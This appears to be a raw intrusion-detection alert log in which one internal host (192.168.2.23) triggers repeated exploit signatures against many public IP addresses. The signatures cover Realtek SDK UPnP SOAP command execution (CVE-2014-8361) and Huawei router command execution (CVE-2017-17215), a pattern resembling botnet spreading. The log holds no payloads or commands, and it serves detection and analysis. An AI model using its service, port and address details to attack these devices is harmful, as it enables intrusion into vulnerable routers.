07/20/24-23:01:50.188348	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51040	52869	192.168.2.23	178.64.121.40
07/20/24-23:01:41.156801	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33870	52869	192.168.2.23	165.210.119.115
07/20/24-23:01:25.848287	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42276	52869	192.168.2.23	19.16.79.3
07/20/24-23:01:58.995803	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34792	52869	192.168.2.23	37.223.190.191
07/20/24-23:01:54.545885	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59122	52869	192.168.2.23	41.28.215.223
07/20/24-23:01:31.981855	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50494	37215	192.168.2.23	197.97.192.157
07/20/24-23:01:57.169212	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56148	52869	192.168.2.23	17.24.227.79
07/20/24-23:01:21.931985	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51232	37215	192.168.2.23	41.240.0.142
07/20/24-23:01:43.906354	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43652	52869	192.168.2.23	207.223.163.108
07/20/24-23:01:47.700893	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55240	52869	192.168.2.23	216.145.37.57
07/20/24-23:01:34.048618	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43842	37215	192.168.2.23	157.5.66.172
07/20/24-23:02:07.984371	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42256	52869	192.168.2.23	67.242.12.13
07/20/24-23:01:11.642449	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54306	37215	192.168.2.23	136.52.234.90
07/20/24-23:01:08.554229	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45798	52869	192.168.2.23	189.75.86.189
07/20/24-23:02:12.682460	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58340	52869	192.168.2.23	85.40.245.195
07/20/24-23:00:57.221482	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40150	37215	192.168.2.23	41.226.72.201
07/20/24-23:01:02.066908	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55990	37215	192.168.2.23	41.84.70.245
07/20/24-23:01:40.334452	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41888	37215	192.168.2.23	41.52.100.172
07/20/24-23:01:42.672378	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44018	52869	192.168.2.23	91.196.45.114
07/20/24-23:02:03.882859	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59642	52869	192.168.2.23	111.184.238.202
07/20/24-23:01:08.684499	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44404	52869	192.168.2.23	167.134.108.32
07/20/24-23:01:02.076704	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44404	52869	192.168.2.23	4.131.130.12
07/20/24-23:01:42.196522	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53258	52869	192.168.2.23	140.117.188.131
07/20/24-23:01:49.877061	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42084	52869	192.168.2.23	14.190.237.146
07/20/24-23:01:55.262010	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40798	52869	192.168.2.23	178.199.253.233
07/20/24-23:02:01.391563	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52480	52869	192.168.2.23	53.205.5.201
07/20/24-23:01:31.974514	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39410	37215	192.168.2.23	41.187.164.155
07/20/24-23:02:43.591633	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33168	52869	192.168.2.23	205.251.62.147
07/20/24-23:01:41.236294	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41822	52869	192.168.2.23	35.204.82.212
07/20/24-23:01:45.547484	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53402	52869	192.168.2.23	34.139.90.241
07/20/24-23:01:24.916250	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54286	37215	192.168.2.23	41.115.147.179
07/20/24-23:01:03.107449	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55444	52869	192.168.2.23	183.49.28.217
07/20/24-23:01:43.455918	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47652	52869	192.168.2.23	145.102.1.140
07/20/24-23:01:25.020591	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58950	52869	192.168.2.23	174.51.233.233
07/20/24-23:01:41.303669	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52976	52869	192.168.2.23	193.229.91.171
07/20/24-23:01:49.207937	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40814	52869	192.168.2.23	197.4.127.82
07/20/24-23:01:00.634497	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55680	37215	192.168.2.23	197.17.32.247
07/20/24-23:01:20.098209	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36964	37215	192.168.2.23	197.39.168.92
07/20/24-23:01:04.051104	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58588	37215	192.168.2.23	197.18.10.40
07/20/24-23:01:00.636533	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58024	37215	192.168.2.23	163.95.87.60
07/20/24-23:01:41.882275	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46336	52869	192.168.2.23	34.33.43.162
07/20/24-23:01:42.761962	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48840	52869	192.168.2.23	205.59.131.231
07/20/24-23:02:08.826483	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38298	52869	192.168.2.23	59.115.71.173
07/20/24-23:01:46.571223	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34950	52869	192.168.2.23	132.171.123.209
07/20/24-23:01:02.389453	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40138	52869	192.168.2.23	49.39.36.55
07/20/24-23:01:52.053251	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37770	52869	192.168.2.23	13.165.214.181
07/20/24-23:01:56.536207	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50732	52869	192.168.2.23	209.219.111.180
07/20/24-23:01:31.321189	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55696	52869	192.168.2.23	106.220.99.163
07/20/24-23:01:48.021704	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38126	52869	192.168.2.23	114.19.125.68
07/20/24-23:01:51.275864	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34734	52869	192.168.2.23	37.189.26.199
07/20/24-23:01:42.430595	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52592	52869	192.168.2.23	90.133.16.151
07/20/24-23:01:52.742499	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58056	52869	192.168.2.23	217.180.101.231
07/20/24-23:01:44.611556	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43152	52869	192.168.2.23	128.114.73.170
07/20/24-23:01:42.142802	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58582	52869	192.168.2.23	1.132.71.9
07/20/24-23:01:45.096837	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49762	52869	192.168.2.23	61.169.227.46
07/20/24-23:00:57.221248	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44040	37215	192.168.2.23	41.242.31.133
07/20/24-23:01:59.676169	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49278	52869	192.168.2.23	165.63.9.134
07/20/24-23:01:34.044223	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36714	37215	192.168.2.23	41.139.79.186
07/20/24-23:01:08.563416	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42218	52869	192.168.2.23	172.95.79.32
07/20/24-23:01:55.863393	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52952	52869	192.168.2.23	166.125.46.208
07/20/24-23:01:34.048825	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39294	37215	192.168.2.23	157.188.52.205
07/20/24-23:01:44.024775	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45402	52869	192.168.2.23	45.226.155.34
07/20/24-23:01:08.646615	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52406	52869	192.168.2.23	218.228.206.146
07/20/24-23:01:47.663629	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34096	52869	192.168.2.23	108.242.179.170
07/20/24-23:01:57.101402	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49536	52869	192.168.2.23	9.97.212.169
07/20/24-23:01:08.939279	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33890	52869	192.168.2.23	133.66.91.121
07/20/24-23:01:20.098209	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37260	37215	192.168.2.23	197.242.27.50
07/20/24-23:01:43.197088	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41930	52869	192.168.2.23	77.119.24.21
07/20/24-23:02:15.172220	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50336	52869	192.168.2.23	133.103.41.145
07/20/24-23:01:51.113661	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58152	52869	192.168.2.23	118.190.106.207
07/20/24-23:01:06.989167	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59048	37215	192.168.2.23	41.65.238.83
07/20/24-23:01:51.183470	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47738	52869	192.168.2.23	107.137.22.219
07/20/24-23:01:26.004683	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38520	52869	192.168.2.23	14.200.138.62
07/20/24-23:01:42.462291	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51560	52869	192.168.2.23	169.160.238.67
07/20/24-23:01:47.403768	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47372	52869	192.168.2.23	93.36.62.56
07/20/24-23:01:50.920103	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57122	52869	192.168.2.23	192.255.251.248
07/20/24-23:01:56.832956	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42474	52869	192.168.2.23	162.18.0.14
07/20/24-23:01:42.090121	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43510	52869	192.168.2.23	85.101.71.143
07/20/24-23:01:42.985320	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34902	52869	192.168.2.23	85.91.68.35
07/20/24-23:01:07.054782	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58546	37215	192.168.2.23	197.21.203.147
07/20/24-23:01:42.769239	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	32774	52869	192.168.2.23	99.233.112.21
07/20/24-23:01:44.756264	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49132	52869	192.168.2.23	75.52.105.57
07/20/24-23:01:45.622888	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57520	52869	192.168.2.23	74.81.74.58
07/20/24-23:02:14.728323	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55190	52869	192.168.2.23	132.156.134.177
07/20/24-23:00:57.221048	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36278	37215	192.168.2.23	157.203.14.217
07/20/24-23:01:34.045749	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48132	37215	192.168.2.23	157.206.45.101
07/20/24-23:01:24.885849	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37860	37215	192.168.2.23	41.231.145.68
07/20/24-23:02:01.320867	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60014	52869	192.168.2.23	144.39.142.95
07/20/24-23:01:59.188717	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50172	52869	192.168.2.23	143.107.137.70
07/20/24-23:01:11.639230	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56502	37215	192.168.2.23	197.161.187.52
07/20/24-23:01:02.515992	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52026	52869	192.168.2.23	186.94.179.5
07/20/24-23:01:59.643531	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44200	52869	192.168.2.23	216.13.194.92
07/20/24-23:02:48.060990	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33080	52869	192.168.2.23	43.238.238.121
07/20/24-23:01:41.660997	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39540	52869	192.168.2.23	124.109.117.107
07/20/24-23:01:56.925238	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53866	52869	192.168.2.23	132.12.76.39
07/20/24-23:01:58.364551	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48446	52869	192.168.2.23	192.226.51.190
07/20/24-23:01:04.098080	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33920	37215	192.168.2.23	187.182.184.30
07/20/24-23:00:59.161892	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41506	37215	192.168.2.23	157.139.2.14
07/20/24-23:01:00.641498	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47806	37215	192.168.2.23	157.143.234.224
07/20/24-23:01:07.054782	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46730	37215	192.168.2.23	197.187.87.186
07/20/24-23:01:44.469580	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57460	52869	192.168.2.23	165.29.53.230
07/20/24-23:01:31.321189	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58236	52869	192.168.2.23	103.96.50.123
07/20/24-23:01:34.044538	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39770	37215	192.168.2.23	72.130.195.64
07/20/24-23:01:00.645186	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50596	37215	192.168.2.23	41.212.198.90
07/20/24-23:01:46.453936	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34994	52869	192.168.2.23	96.24.157.5
07/20/24-23:01:00.651026	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57736	37215	192.168.2.23	41.242.166.123
07/20/24-23:01:24.889164	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58940	37215	192.168.2.23	157.24.252.54
07/20/24-23:01:08.864629	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40650	52869	192.168.2.23	199.214.91.137
07/20/24-23:01:08.613165	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57364	52869	192.168.2.23	144.0.5.154
07/20/24-23:01:24.867858	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53214	37215	192.168.2.23	197.131.189.107
07/20/24-23:01:49.158487	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50088	52869	192.168.2.23	116.148.59.65
07/20/24-23:02:17.128772	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41086	52869	192.168.2.23	184.199.50.191
07/20/24-23:01:08.589760	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39636	52869	192.168.2.23	18.37.139.58
07/20/24-23:01:42.280418	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51174	52869	192.168.2.23	90.145.205.177
07/20/24-23:01:44.787907	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43580	52869	192.168.2.23	199.182.118.208
07/20/24-23:01:42.727671	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41428	52869	192.168.2.23	169.97.165.219
07/20/24-23:01:54.859884	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57070	52869	192.168.2.23	155.152.164.248
07/20/24-23:01:11.828422	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38032	37215	192.168.2.23	157.52.72.38
07/20/24-23:01:57.022868	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51944	52869	192.168.2.23	186.85.31.59
07/20/24-23:02:04.052371	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52100	52869	192.168.2.23	104.143.173.10
07/20/24-23:01:40.349275	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55334	37215	192.168.2.23	24.27.124.225
07/20/24-23:01:07.005156	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34400	37215	192.168.2.23	197.82.145.73
07/20/24-23:01:44.481011	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43510	52869	192.168.2.23	153.239.16.237
07/20/24-23:01:43.751196	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47178	52869	192.168.2.23	147.72.210.150
07/20/24-23:02:22.606515	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48348	52869	192.168.2.23	176.129.124.225
07/20/24-23:01:43.211007	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46490	52869	192.168.2.23	136.80.115.81
07/20/24-23:01:51.785967	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37182	52869	192.168.2.23	116.126.39.243
07/20/24-23:01:11.634372	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50852	37215	192.168.2.23	197.128.60.5
07/20/24-23:01:44.776719	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52656	52869	192.168.2.23	58.56.54.197
07/20/24-23:01:41.987411	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32886	52869	192.168.2.23	18.151.187.19
07/20/24-23:01:40.291616	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34208	37215	192.168.2.23	197.250.23.28
07/20/24-23:01:02.093903	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41692	37215	192.168.2.23	155.230.89.206
07/20/24-23:01:11.631937	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60474	37215	192.168.2.23	41.171.182.143
07/20/24-23:01:04.031511	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45100	37215	192.168.2.23	41.115.102.16
07/20/24-23:02:00.006558	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60958	52869	192.168.2.23	221.117.11.208
07/20/24-23:01:31.312895	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42770	52869	192.168.2.23	178.214.207.137
07/20/24-23:01:45.547334	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37662	52869	192.168.2.23	185.111.137.113
07/20/24-23:01:51.949637	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35496	52869	192.168.2.23	125.174.13.114
07/20/24-23:01:02.229743	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47964	52869	192.168.2.23	71.113.201.241
07/20/24-23:01:53.560520	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49688	52869	192.168.2.23	175.53.167.172
07/20/24-23:01:31.977603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56198	37215	192.168.2.23	157.3.230.130
07/20/24-23:01:59.799089	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53122	52869	192.168.2.23	105.66.231.198
07/20/24-23:01:46.783122	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42202	52869	192.168.2.23	164.23.204.131
07/20/24-23:01:00.645051	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32868	37215	192.168.2.23	113.30.251.105
07/20/24-23:01:20.202325	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40830	37215	192.168.2.23	197.39.102.71
07/20/24-23:01:40.334934	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52590	37215	192.168.2.23	197.67.65.109
07/20/24-23:01:54.859884	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49438	52869	192.168.2.23	120.82.97.31
07/20/24-23:00:57.221338	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59124	37215	192.168.2.23	157.236.245.35
07/20/24-23:01:01.458734	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41034	52869	192.168.2.23	193.14.204.18
07/20/24-23:01:01.810641	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59764	52869	192.168.2.23	188.112.254.56
07/20/24-23:01:41.478928	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36668	52869	192.168.2.23	113.184.252.189
07/20/24-23:01:40.291616	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39466	37215	192.168.2.23	197.236.253.31
07/20/24-23:01:08.572556	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53584	52869	192.168.2.23	172.32.160.159
07/20/24-23:01:42.774505	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53844	52869	192.168.2.23	77.77.166.196
07/20/24-23:01:59.855159	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34610	52869	192.168.2.23	188.131.252.163
07/20/24-23:01:02.113055	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40466	37215	192.168.2.23	197.139.203.167
07/20/24-23:01:14.113390	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59466	37215	192.168.2.23	41.135.77.144
07/20/24-23:01:48.811098	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38390	52869	192.168.2.23	64.225.111.147
07/20/24-23:01:14.105395	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49060	37215	192.168.2.23	142.66.65.211
07/20/24-23:01:58.556960	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55908	52869	192.168.2.23	79.25.231.52
07/20/24-23:01:41.228795	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39798	52869	192.168.2.23	47.91.11.144
07/20/24-23:01:53.068033	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39446	52869	192.168.2.23	109.27.210.57
07/20/24-23:01:42.631864	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49044	52869	192.168.2.23	132.180.52.133
07/20/24-23:01:41.260372	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49634	52869	192.168.2.23	111.66.162.186
07/20/24-23:00:59.172943	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44104	37215	192.168.2.23	41.123.176.91
07/20/24-23:01:52.720788	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50706	52869	192.168.2.23	216.216.135.51
07/20/24-23:01:57.549758	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50824	52869	192.168.2.23	49.127.162.127
07/20/24-23:01:45.104633	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58656	52869	192.168.2.23	65.50.132.254
07/20/24-23:01:34.062277	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44950	37215	192.168.2.23	197.193.238.28
07/20/24-23:01:44.745095	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36580	52869	192.168.2.23	140.201.238.135
